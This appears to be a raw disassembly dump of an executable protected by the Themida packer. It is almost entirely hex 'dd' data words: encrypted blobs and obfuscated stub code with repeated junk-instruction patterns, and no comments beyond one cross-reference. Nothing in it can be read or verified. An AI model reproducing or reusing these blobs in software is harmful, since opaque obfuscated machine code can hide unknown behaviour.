		dd 0D19653BFh, 0D7F1976Dh, 8D671578h, 0F0C847ABh, 0D92012ABh
		dd 757DD1F6h, 0FF2436C7h, 272436EFh, 0DA2012ABh, 545BD1FEh
		dd 6E93D678h, 20344316h, 28E27AACh
		dd 4346BBB2h, 7AA1A92Eh, 8C4A898Fh, 0CF2078AAh,	0CF201143h
		dd 247832ABh, 0D7649BF3h, 0DD6493AFh, 0FC2009AFh, 0BD7052ABh
		dd 5D0C250Ch, 60BD015Bh, 0E6F19F20h, 52DF1578h,	0F4F31F5Ah
		dd 7CADEC20h, 0FBFC11C1h, 7E2092A4h, 8E9F12ABh,	60457AC6h
		dd 82AD9B7Bh, 6E27C1ACh, 20139B2Eh, 0AB2078ACh,	0FC201143h
		dd 0BD7A32ABh, 1B749BF1h, 0BB6493AFh, 0CF2006AFh, 247250ABh
		dd 0B29974B0h, 9FF0ED49h, 4B30C82Ah, 0DCCDC2Ah,	0BAA9621Bh
		dd 98F30456h, 0DD25A722h, 6B461578h, 0A4207873h, 0F9201143h
		dd 3F7F32ABh, 5A5C9BF4h, 1B6493AFh, 9F2009AFh, 0C7755ABh
		dd 53BB2CF0h, 28E19B19h, 0F92697A4h, 611112ABh,	79F300AEh
		dd 1831AF9Ah, 9B041578h, 277712C1h, 0E72012A8h,	0ACE34D8Bh
		dd 0FD046E22h, 0F804562Ah, 7E2012BDh, 1EE345ECh, 1A2FD80Fh
		dd 0CF2012A7h, 0E7201542h, 76C5AFABh, 47150AB3h, 0F64FD32Bh
		dd 59A41D6Bh, 0BE2012A8h, 0DBDFB369h, 1EA5D4BCh, 0A827C1B3h
		dd 8D799AC3h, 78DB9974h, 0C96C369Fh, 7E4A7255h,	3F23FAFBh
		dd 0C70012ABh, 8BA94A68h, 0A3A1168Fh, 0F33D168Fh, 0A96012ABh
		dd 97EDB068h, 0BCBA7FE5h, 0C0B77112h, 4C2DE31Eh, 9F2078ACh
		dd 0E7201143h, 307832ABh, 0DD649BF3h, 0D86493AFh, 7E2008AFh
		dd 0FC7052ABh, 0C945D525h, 42E43CCFh, 3B23782Eh, 889974ACh
		dd 70F0ED19h, 2F12672Eh, 5AE091ACh, 9875D511h, 1EA59BE4h
		dd 9C27C1B2h, 0F3498F9Ah, 78791578h, 2A36EF2Eh,	0AF2078ACh
		dd 7E201143h, 0FC7B32ABh, 0BB7C9BF0h, 0EB6493AFh, 0E72004AFh
		dd 307351ABh, 0C837F6C8h, 2F04A316h, 0F7BD99ACh, 5527C198h
		dd 9CC840ABh, 0EF2012ABh, 6E7AD1F1h, 722436FFh,	0ED2436EFh
		dd 0BE2012ABh, 1EEAD1F9h, 20558720h, 97C91578h,	362012ABh
		dd 0BEAFAED0h, 92147EA2h, 0AF2078E8h, 0FC201143h, 0BD7E32ABh
		dd 1B549BF5h, 0BB6493AFh, 0CF2004AFh, 247654ABh, 1B0FA340h
		dd 0F92012A2h, 67059FECh, 99E18F7Eh, 0CFE79399h, 0C15BBD10h
		dd 46760920h, 343AA33Eh, 0E8AB4CACh, 117012C1h,	0FC2012A8h
		dd 26E34A8Bh, 3B045622h, 9B04562Ah, 0CF2012BCh,	0BAE342EBh
		dd 1B00F9BAh, 0F92012B8h, 0BB986EF5h, 0DF17909Ah, 0EF4C776Eh
		dd 49D4D445h, 44DBBCCFh, 34002F16h, 7E2F4BACh, 0F92012ADh
		dd 0FB9D8780h, 0C12F1578h, 0D73B997Dh, 9F2012A1h, 26CD0601h
		dd 5A7230FCh, 0AAD8343Eh, 6C03CA98h, 0FBF33C72h, 61D18F22h
		dd 3F4A1578h, 9F23FAFDh, 910012ABh, 93A94C68h, 0B7A1168Fh
		dd 0F935168Fh, 0AA6612ABh, 5D2F0868h, 0EC2D3716h, 4EA5D4ACh
		dd 8827C1B3h, 0F7012C1h, 0F32012A8h, 0A1E34A8Bh, 0F8045622h
		dd 7A04562Ah, 3F2012B1h, 30E342EBh, 73B5E194h, 0E3C87A2Ah
		dd 5A2012ABh, 0A997CC76h, 0A611ACF9h, 4F2F74B6h, 85704AF1h
		dd 9DB323E8h, 0CB045620h, 0ECC840FBh, 402012ABh, 59A56FEEh
		dd 27DCBCF4h, 0E19EE5A1h, 655A2397h, 0F94023A4h, 0F89BC120h
		dd 8619FCDEh, 0F3AB4AF1h, 0E09E74FAh, 0B8A94B69h, 1478168Fh
		dd 3CC841ABh, 0BF2012ABh, 467BD1F0h, 662436F7h,	0E52436EFh
		dd 0BA2012ABh, 180ED1F8h, 81E8999Bh, 0EC2DE31Eh, 9DAC1DACh
		dd 7A2012ABh, 8DA59F14h, 9927CEA8h, 0FAC843ABh,	0DC2012ABh
		dd 0F779D1F2h, 0BE2436E7h, 862436EFh, 8E2012ABh, 9BE3D1FAh
		dd 0E3102E84h, 0EC6197A2h, 2CDF1578h, 967012C1h, 3F2012A8h
		dd 0C7E34A8Bh, 0CB045622h, 0E304562Ah, 0F32012BFh, 97E342EBh
		dd 0D7F1AF20h, 0FBA91578h, 38F31386h, 84A98F9Ah, 72A91578h
		dd 0E0F319AEh, 5A174EBh, 0F9ABABC5h, 0FF358788h, 0FF461578h
		dd 0B4FF616Ah, 0C82078ABh, 0CF201143h, 247F32ABh, 0D75C9BF4h
		dd 0DD6493AFh, 0FC200BAFh, 0BD7755ABh, 20ECF6D1h, 1446ECE9h
		dd 509E7461h, 4AA59B0Dh, 7227C1B4h, 0BBE84279h,	0FD77FBF5h
		dd 0FD2F12ABh, 3F2012ADh, 82E0E02Ah, 4AAD3EC4h,	0E0FC5C77h
		dd 1B7112C1h, 0F92012A8h, 0A5E34B8Bh, 7A045E22h, 3B04562Ah
		dd 9F2012BCh, 9EE343EAh, 0B7211657h, 7ADE99CDh,	0F94A36AFh
		dd 0FC23FAFEh, 230012ABh, 53A94F68h, 0DBA1168Fh, 0CF3D168Fh
		dd 0B26512ABh, 0D81BA468h, 93B16A6Ch, 9A4C71CBh, 0F57C9811h
		dd 6EB5ED7Ch, 7627C19Fh, 0CF2012BBh, 92E6B3ADh,	0D28035AEh
dword_65F068	dd 53ABEA5h, 93C2EEACh,	30C28F26h, 3F4A1577h, 9F23FAFEh
					; DATA XREF: Themida_:0064AA9Ao
		dd 920012ABh, 8BA94F68h, 0B7A1168Fh, 0F93B168Fh, 0A96512ABh
		dd 0D98CE368h, 0D0610605h, 12AB729Ah, 0C8F31A9Eh, 0EAA53BFCh
		dd 0AA27C1B6h, 0F1C842CAh, 0DD2012ABh, 0FF86ABF4h, 0D6E0D499h
		dd 9F2012B8h, 81751F05h, 0D161EF9Ch, 8B693007h,	9BC7A398h
		dd 0A38C3EC2h, 18040E22h, 0AF922912h, 0F970C521h, 44B0EC20h
		dd 5EB5ED7Bh, 9927C184h, 0FAC844ABh, 0DC2012ABh, 0F77ED1F5h
		dd 0BE2436DFh, 8A2436EFh, 892012ABh, 5AAD1FDh, 0DA659F22h
		dd 7CA91578h, 0FBF30B2Ah, 967512C1h, 3F2012A8h,	0C2E34F8Bh
		dd 0CB047E22h, 0E304562Ah, 0F32012B3h, 70E347EEh, 0A8642ACEh
		dd 7E200142h, 72F8B4ABh, 907A1243h, 0D018044Dh,	92DE375h
		dd 0C29A53B2h, 28A5D452h, 0AF27C1B3h, 7E200242h, 4A5E97ABh
		dd 6028BA06h, 0FE485FF3h, 5854AC76h, 0FBEB7AD7h, 0FDA15C29h
		dd 0F95BA68Fh, 5B9D99F7h, 0C027C1B8h, 4C2DE31Eh, 4245A3ACh
		dd 3B23782Eh, 23DFEBACh, 0D5F19782h, 79A91578h,	79F30732h
		dd 28E58F22h, 1AE61578h, 0C8F30A7Ah, 0B22078ECh, 0F3201143h
		dd 3A7D32ABh, 0D84C9BF6h, 5A6493AFh, 3F2007AFh,	5C7557ABh
		dd 0CBC868C1h, 772012ABh, 938160BEh, 0AB70D120h, 0FC209FA4h
		dd 4F2F12ABh, 0E2F40FBh, 0C77A4AF1h, 444642CAh,	0C364997Ah
		dd 1A2099AFh, 0F92012A1h, 25AE74FEh, 8F8AA2DFh,	7BA9FF8Ah
		dd 0CD78168Fh, 90DAADA4h, 0EAD1A754h, 76A91578h, 0FEF31516h
		dd 0FF4A9726h, 7E4A1577h, 3F23FAFEh, 0C20012ABh, 0A3A94F68h
		dd 0A3A1168Fh, 0F335168Fh, 0AC6512ABh, 42860068h, 5F1B5369h
		dd 3F4AC254h, 9F23FAFCh, 900012ABh, 9BA94D68h, 0B7A1168Fh
		dd 0F93B168Fh, 0AB6712ABh, 35DE9768h, 251CAB5Eh, 56F1A8C7h
		dd 4AA951A4h, 0E0F3073Ah, 1B7212C1h, 0F92012A8h, 0A6E3488Bh
		dd 7A044622h, 3B04562Ah, 9F2012B6h, 3E340E9h, 90FA39DBh
		dd 1ED813E5h, 28A5D4EEh, 0AF27C1B3h, 967012C1h,	3F2012A8h
		dd 0C7E34A8Bh, 0CB045622h, 0E304562Ah, 0F32012B3h, 10E342EBh
		dd 747BF351h, 3D69A8CDh, 3F201643h, 0A67F82ABh,	4AB7432h
		dd 6C4640FBh, 0B7AB4C60h, 0EAC9168Fh, 352012ABh, 0C355A96h
		dd 0D063EFB2h, 7FA39AA8h, 4FE751FEh, 0E7ABE9B9h, 0B7A9011Eh
		dd 0AB70168Fh, 0CD2FE521h, 7E201C43h, 471B7FABh, 0D6A9580Eh
		dd 0F641183Eh, 0B5A2E0FCh, 0AB7A4BF1h, 0A92078F3h, 0FC201143h
		dd 0BD7832ABh, 1B649BF3h, 0BB6493AFh, 0CF200EAFh, 247052ABh
		dd 2F0B60B4h, 0B76D9C39h, 29B53BF4h, 7127C1BDh,	3F201025h
		dd 60EE99ABh, 1C2DE31Eh, 0B52078ACh, 0F3201143h, 3A7A32ABh
		dd 0D8749BF1h, 5A6493AFh, 3F2004AFh, 5C7250ABh,	4645141Ch
		dd 342C8336h, 99A59FACh, 9327CEA8h, 0FFC847ABh,	5E2012ABh
		dd 0B67DD1F6h, 1E2436C7h, 0D62436EFh, 0A22012ABh, 4BBFD1FEh
		dd 0A253813Bh, 3EF99CDh, 6FB59B7Bh, 0B627C1B4h,	4C0D2F2Eh
		dd 9E2078ACh, 0E7201143h, 307932ABh, 0DD6C9BF2h, 0D86493AFh
		dd 7E2007AFh, 0FC7153ABh, 1AE67663h, 0C8F30A7Ah, 0B52078FCh
		dd 0F3201143h, 3A7A32ABh, 0D8749BF1h, 5A6493AFh, 3F200FAFh
		dd 5C7250ABh, 26D89FEBh, 123D2A1Fh, 49466EF0h, 0FDC8DC67h
		dd 0FA2012ABh, 0C4B016F9h, 4E726DCEh, 214672FBh, 44463858h
		dd 0A3AB7351h, 0F3AB168Fh, 51B3ABCDh, 0F8045622h, 7E201542h
		dd 0ADA37ABh, 9705FAB3h, 992078F3h, 0E7201143h,	307E32ABh
		dd 0DD549BF5h, 0D86493AFh, 7E200FAFh, 0FC7654ABh, 1B63B663h
		dd 0C80CD823h, 52A98087h, 0F4F30A32h, 0F4D1A754h, 0FC4A1578h
		dd 7E23FAFAh, 660012ABh, 0D3A94B68h, 8BA1168Fh,	0E738168Fh
		dd 0A26112ABh, 841D4E68h, 79AD7E66h, 79FC11C1h,	39A81DF9h
		dd 902012ABh, 0CF20122Bh, 6B2F48ABh, 0F32012ADh, 0F625A722h
		dd 2CDF1578h, 967312C1h, 3F2012A8h, 0C4E3498Bh,	0CB044E22h
		dd 0E304562Ah, 0F32012BEh, 6DE341E8h, 8FE9325h,	0F73879A9h
		dd 0EC380B2Eh, 0CF2078ACh, 0CF201143h, 247832ABh, 0D7649BF3h
		dd 0DD6493AFh, 0FC2008AFh, 0BD7052ABh, 0C7E893B7h, 90237D31h
		dd 0CF20142Fh, 0E6EA93ABh, 950AEC13h, 3FF23515h, 2F38C32Eh
		dd 7E4A51ACh, 3F23FAF9h, 0C50012ABh, 9BA94868h,	0A3A1168Fh
		dd 0F334168Fh, 0AB6212ABh, 49095268h, 79F31BCEh, 4E9F7BC3h
		dd 0F972423Ch, 0FE2FE320h, 0BDDA99CDh, 0D72493F3h, 0DC3EA214h
		dd 0F1D1A754h, 0FB111578h, 38F3066Eh, 9C4A9726h, 0CF4A1577h
		dd 0E723FAFBh, 0AB0012ABh, 0BDA94A68h, 0B8A1168Fh, 7E34168Fh
		dd 6F6012ABh, 49ABAD68h, 42ABC254h, 0E0F3189Eh,	0D5B19722h
		dd 64A91578h, 0FBF3119Eh, 30F29726h, 8AAB1577h,	98F31F92h
		dd 4C2F723Bh, 0E72012B3h, 0F3200043h, 2C0C72ABh, 48A69413h
		dd 24BB4654h, 6D4633A3h, 0C5B429D2h, 0B6498412h, 527073CBh
		dd 762F8200h, 0F92012A5h, 0FC201B42h, 4AAC36ABh, 7E6EA549h
		dd 0ADFD4CAh, 0C8F326FAh, 0F7012C1h, 0F32012A8h, 0A1E34A8Bh
		dd 0F8045622h, 7A04562Ah, 3F2012B7h, 0D8E342EBh, 0CD2272A8h
		dd 582FBBF7h, 0F32AFBFBh, 45C612ABh, 292B3F63h,	6A9A926h
		dd 55F899F1h, 9CC845ABh, 0EF2012ABh, 6E7FD1F4h,	722436D7h
		dd 0E12436EFh, 0BB2012ABh, 0AADD1FCh, 0B236C2EFh, 436ED42Eh
		dd 0FA9D9BACh, 0B727C18Ah, 0F7A9E020h, 0A820788Fh, 0FC201143h
		dd 0BD7932ABh, 1B6C9BF2h, 0BB6493AFh, 0CF200FAFh, 247153ABh
		dd 0C3A1A62Bh, 7A61F284h, 2DA166C0h, 325A2A75h,	0E41FA838h
		dd 0FF7049CFh, 0C077FF18h, 0E7201229h, 60414AABh, 359A74FCh
		dd 69DF4875h, 79F33D12h, 8AABDA20h, 98F3389Eh, 0E93D9722h
		dd 0E74A1578h, 0F323FAFCh, 0A60012ABh, 80A94D68h, 3AA1168Fh
		dd 3F39168Fh, 0C86712ABh, 925D5F68h, 6C0DB56Ah,	2037F326h
		dd 64A5D5ACh, 0F327C18Dh, 142012ABh, 3CC840ABh,	0BF2012ABh
		dd 467AD1F1h, 662436FFh, 0E72436EFh, 0BB2012ABh, 0AE93D1F9h
		dd 55E1AF98h, 0C07F1578h, 4C060F3Eh, 9F2078ACh,	0E7201143h
		dd 307832ABh, 0DD649BF3h, 0D86493AFh, 7E200FAFh, 0FC7052ABh
		dd 0FAD7B246h, 0C69AFB2Dh, 0F5C80DA4h, 0A82012ABh, 1B57DC3Fh
		dd 85EADD43h, 740EA0A8h, 2A48407h, 529E743Eh, 4AA94B35h
		dd 0E0F3080Eh, 7007A8CDh, 0DDA19720h, 61AD1578h, 79FC7262h
		dd 0B2215122h, 4C0C0316h, 6C959FACh, 5E27CECBh,	0F3201298h
		dd 0CACBB658h, 0FC201213h, 0AE019ABh, 3F38D0A8h, 93045620h
		dd 0CF20FAF8h, 667B12ABh, 0F3200568h, 0DD7C9BABh, 0D8649BBBh
		dd 499849BFh, 0C020A951h, 0BB64994Bh, 0A5C0EDAFh, 0E4C845ABh
		dd 0D32012ABh, 707FD1F4h, 7D2436D7h, 6A2436EFh,	782012ABh
		dd 0F9A5D1FCh, 0CF4ADA20h, 0E723FAFBh, 0AB0012ABh, 0BDA94A68h
		dd 0B8A1168Fh, 7E34168Fh, 6F6012ABh, 12AB9768h,	0C8F30A32h
		dd 0FFED9722h, 19A01578h, 782F731Fh, 0FC2012B8h, 7E201543h
		dd 0FE15AFABh, 20ABF64h, 0C50DAF22h, 6A791578h,	2F6ED416h
		dd 0AFAD9FACh, 4427CECAh, 0E606B99Eh, 36CD9798h, 500B1578h
		dd 0CB22FB6Ah, 2616E099h, 0AC1C10BBh, 0B8569D91h, 0DEF327C1h
		dd 9644A31Bh, 83FBF335h, 0A4F305E9h, 44E9D98Bh,	0F000000h
		dd 185h, 6A61F900h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F8DBC357h, 0D860FC3h,	0E9000000h
		dd 8, 91435F2Bh, 9457BB83h, 58A0Fh, 0F600000h, 8B61DFB7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0AE0126Fh, 0C13FCDCEh, 7E9h, 0DA7DB800h
		dd 0DBF86F09h, 13B1BD83h, 750007D3h, 3DBD8309h,	7D327h
		dd 53501974h, 0B9B8C08Bh, 89000004h, 0D309C985h, 709D8D07h
		dd 0FF07DB28h, 83585BD3h, 0D3273DBDh, 17740007h, 0B9B85350h
		dd 89000004h, 0D309C985h, 119D8D07h, 0FF07DB25h, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 7367C351h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0F5C35242h, 7E9h, 29D05D00h, 0FCF7712Ah
		dd 0C860Fh, 8F0F0000h, 6, 870Fh, 0C08B0000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 14C35242h, 9921E551h
		dd 0EFCA5D7Ch, 58576060h, 61FEB70Fh, 0C18B4061h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 47C35545h, 0F221DC70h
		dd 4D654C7Ch, 0B58B51B3h, 7D32381h, 4EB5Fh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B86C352h, 0D309ADB5h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E94D6B3Ah
		dd 19952960h, 0E807D327h, 0Dh, 295AA2A6h, 0E13E019Ch, 0D2949F77h
		dd 7E97Dh, 2D660000h, 57DC569h,	8D615E7Fh, 0D31C7185h
		dd 0A9B58907h, 5007D31Fh, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81FFC351h
		dd 0A2E809EEh, 6A006A7Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0FBF1C357h,	790CBE3Ah
		dd 9D297C7Fh, 7D30BEDh,	8166006Ah, 8DF758F6h, 0DC652585h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 944CFD58h, 83F1B70Fh, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0E9B968C3h
		dd 0E06C55BBh, 9C72824h, 0D30E258Dh, 0F98B5007h, 89240489h
		dd 0D3245185h, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E9B2C357h,	0E642772Eh
		dd 60AA3D23h, 0BE8h, 5EA3A300h,	0B286DC5Fh, 38C9F333h
		dd 0CE8h, 0BA518300h, 66B06021h, 0E0576733h, 0E95F5B19h
		dd 0Ch,	0AA80EF2Ah, 0C05B5961h,	3497ACC1h, 0B5B58B61h
		dd 6A07D30Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 700196C3h, 0B89E8D36h, 2F4D95FFh
		dd 0F68107D3h, 409DD317h, 29B09D8Dh, 296007DCh,	0D303198Dh
		dd 7D853107h, 6107D319h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0A6A9A5C3h, 13E831h
		dd 94730000h, 0B9B1346h, 0CEB9772Bh, 0B8A365C2h, 433DD254h
		dd 0BD8B56AFh, 7D31AADh, 8E95E5Eh, 0FF000000h, 8E88A82Dh
		dd 0FF92654Bh, 0D32CCD85h, 222BF07h, 2FE91AA7h,	0E8000007h
		dd 0
aBaEJ		db ']/e',7,'j',0
		db 55h,	0E8h, 3
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 1258C355h, 816060E3h, 0BF2091F1h, 8166613Fh,	61E2F1D2h
		dd 269DBD81h, 7D007D3h,	860F0000h, 0E7h, 2A559D8Bh, 0E38107D3h
		dd 100h, 8D0Fh,	0DB0B0000h, 74850Fh, 8B660000h,	68C0FFAh
		dd 8B000000h, 0D31811BDh, 0F2BD8307h, 7DC62h, 31840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 4CB7F0C3h, 0B5894CD6h, 7D330BDh, 71E9h, 958D8900h
		dd 0C707D332h, 0DC62F285h, 107h, 6810F00h, 33000000h, 0D32B2DB5h
		dd 50E907h, 8D0F0000h, 6, 2945BD8Bh, 85C707D3h,	7DC62F2h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 1CC35040h
		dd 3519BAD9h, 13E92885h, 6C000000h, 0A13AAF93h,	38AC54B2h
		dd 9882D825h, 3E1F5811h, 9D8DD277h, 7D32A55h, 81F6B70Fh
		dd 0FFFEFF23h, 0B99D01FFh, 6607D314h, 0BF0FDB8Ch, 4C3F6FAh
		dd 65840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 180424h, 53430000h, 2DACB7C3h, 0FFFC0707h, 0D3261D95h
		dd 0BE907h, 7D230000h, 80585CC3h, 0E1F3CBBDh, 4895092h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9253685Fh, 0D192518Bh, 0FD9D01E5h, 0E907D314h
		dd 45Dh, 1A2D9FBFh, 3100B02Dh, 0D318E9B5h, 6A70E607h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 7AD7C350h, 0C67210h,	0E4F18B66h, 56006A71h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 274E452Ah
		dd 282B90BEh, 0AE911h, 0C1E30000h, 6F2B636Dh, 0EAB4530Ah
		dd 29D8B60Fh, 0D301F18Dh, 6BA07h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8B572EC3h
		dd 0D3066DBDh, 0C38B5F07h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E6C35242h, 197D7190h, 8BC6F436h, 4E8C1FAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F6C35242h
		dd 665B3D9Ah, 0DE02F681h, 66F9B70Fh, 6AE2F7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D12A89C3h
		dd 0BF0D736Dh, 67895ABEh, 0F38BD82Bh, 0BE8h, 95474C00h
		dd 4CF16F78h, 0E2F58A48h, 65D68166h, 0E8935E22h, 10h, 0AFE01D05h
		dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 4820Fh, 0BE660000h
		dd 505FAEAFh, 11E9h, 0ABACB500h, 0B12FE754h, 8D9C552Bh
		dd 7F78059Ch, 0F9393BBh, 8Ch, 9E900h, 78B60000h, 5A40A16h
		dd 0FF3B95B0h, 0D3269DB5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2FA40F0h, 6820Fh
		dd 0B5890000h, 7D32E1Dh, 2FBDBD2Bh, 95FF07D3h, 7D33019h
		dd 12E8h, 48A8ED00h, 0E22E1A16h, 0B38B64F9h, 93BABB48h
		dd 99B58DDh, 0D309DDB5h, 0BD8B5E07h, 7D30C99h, 6A00B0h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7FF60CC3h, 0AD2C18A9h, 0B58B70E6h, 7D33195h,	6A71E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 42FC67C3h, 0BAFDA66Dh, 0B52980C5h, 7D30101h,	8018D89h
		dd 613C07D3h, 21B830Fh,	0BD8B0000h, 7D3082Dh, 66D8B60Fh
		dd 0BA4A1BBEh, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	64C35747h, 361D0ABEh, 0FC38B3Fh, 581h, 0EE816600h
		dd 0E8C1A3BCh, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0BD8BF5E7h, 7D313B9h
		dd 8BE2F766h, 0D306F9B5h, 6AD82B07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 58DFC355h
		dd 6860Fh, 9D890000h, 7D33471h,	1F8DBD8Bh, 0D82B07D3h
		dd 173880Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0B1A1EBC3h, 3C903B05h, 8166B483h
		dd 0B93709C6h, 7, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0E3C35545h, 0FA32AD07h,	19BAD91Ch, 1BD3335h, 8307D32Dh
		dd 0B58B00C1h, 7D32345h, 860FD93Bh, 109h, 0A98589h, 8C6607D3h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 301120D9h, 89B1979Fh, 0D32FD59Dh, 4C1F607h
		dd 0CA840Fh, 95FF0000h,	7D3261Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 4C35747h, 4A22DF66h, 65ED1820h
		dd 6A5BF9C4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 452CC353h, 0E868FE50h,	9, 0AC4BA77Fh
		dd 99964B61h, 0C32B5FCBh, 0CB9DF81h, 343D06B2h,	0F000008h
		dd 5B86h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0EEF72340h, 0BE669643h, 36E9583Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 3DFDC356h, 89AFB894h, 0DE044324h
		dd 2E959D01h, 0BD8B07D3h, 7D3178Dh, 0B70FC08Bh,	8BC38BFAh
		dd 0F7CFBFD8h, 85C74412h, 7D30B65h, 7073BB7Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DBC35242h, 0E5AC9F5h
		dd 8944F157h, 0D3152DBDh, 81C08B07h, 0D3269DBDh, 7D007h
		dd 46850F00h, 0E9000000h, 9, 65E55DB9h,	12DA9C4Ch, 11E97Dh
		dd 61990000h, 349FD76Eh, 2AC89337h, 88CB742Ah, 0FF3403FBh
		dd 0D3269D85h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 9DB5FF05h, 6A07D326h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 2942C350h, 0D330F98Dh, 1995FF07h,	6A07D330h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B95DC351h, 90F84A14h, 345678B8h,	8E912h
		dd 0EBA60000h, 86416DBFh, 9D8DEE8Dh, 7DC6C13h, 0FFF8FAE9h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 45B1E130h, 39814F83h, 0BF66CFB7h, 0C18B70F0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B8C35747h
		dd 0D1B11571h, 0F936D48Ah, 4EBh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9CD06AC3h
		dd 4FBD1CFEh, 6A11B79Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0AE50C350h,	13EE8166h
		dd 13E8DFh, 8A810000h, 0D4831CE4h, 0D81DBC9h, 0E60903FEh
		dd 67D2A678h, 858D5FDCh, 7D31C71h, 11E9h, 8678E00h, 0F01C83A4h
		dd 0D5E8A88Dh, 3C863ECCh, 609015B9h, 5810Fh, 4DBF0000h
		dd 611503E5h, 0B9666050h, 5250E809h, 5B57310Fh,	9061585Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E7C35545h
		dd 95E409C1h, 1AF5BD89h, 6A07D3h, 88B0Fh, 8E0F0000h, 2
		dd 6A5F57h, 0BE9h, 0E5131800h, 2C74959Bh, 14668B89h, 6EAD858Dh
		dd 858907DCh, 7D31FB1h,	6A05C083h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0CC90C355h
		dd 0F72F5DEBh, 8D29EC5Ah, 7D3085Dh, 11E85150h, 0D9000000h
		dd 0E3C72C8Ah, 0C3081CFBh, 2A5B1BF9h, 7482DCBBh, 5E5E5F52h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 9524C352h, 1205BD8Bh, 6A07D3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2FC35343h
		dd 891B1019h, 0D329698Dh, 0F0B70F07h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 95FF1EC3h, 7D32F4Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0EEC35747h,	155D8509h, 9D8D07D3h
		dd 7DC29B0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FDC35343h, 7572F9F8h, 3479FFBFh, 0C7816624h, 0D3FFBD53h
		dd 2CCD85FFh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0BBBE3AC3h, 0FEDCB700h, 48E9455Ch
		dd 0E800000Eh, 0
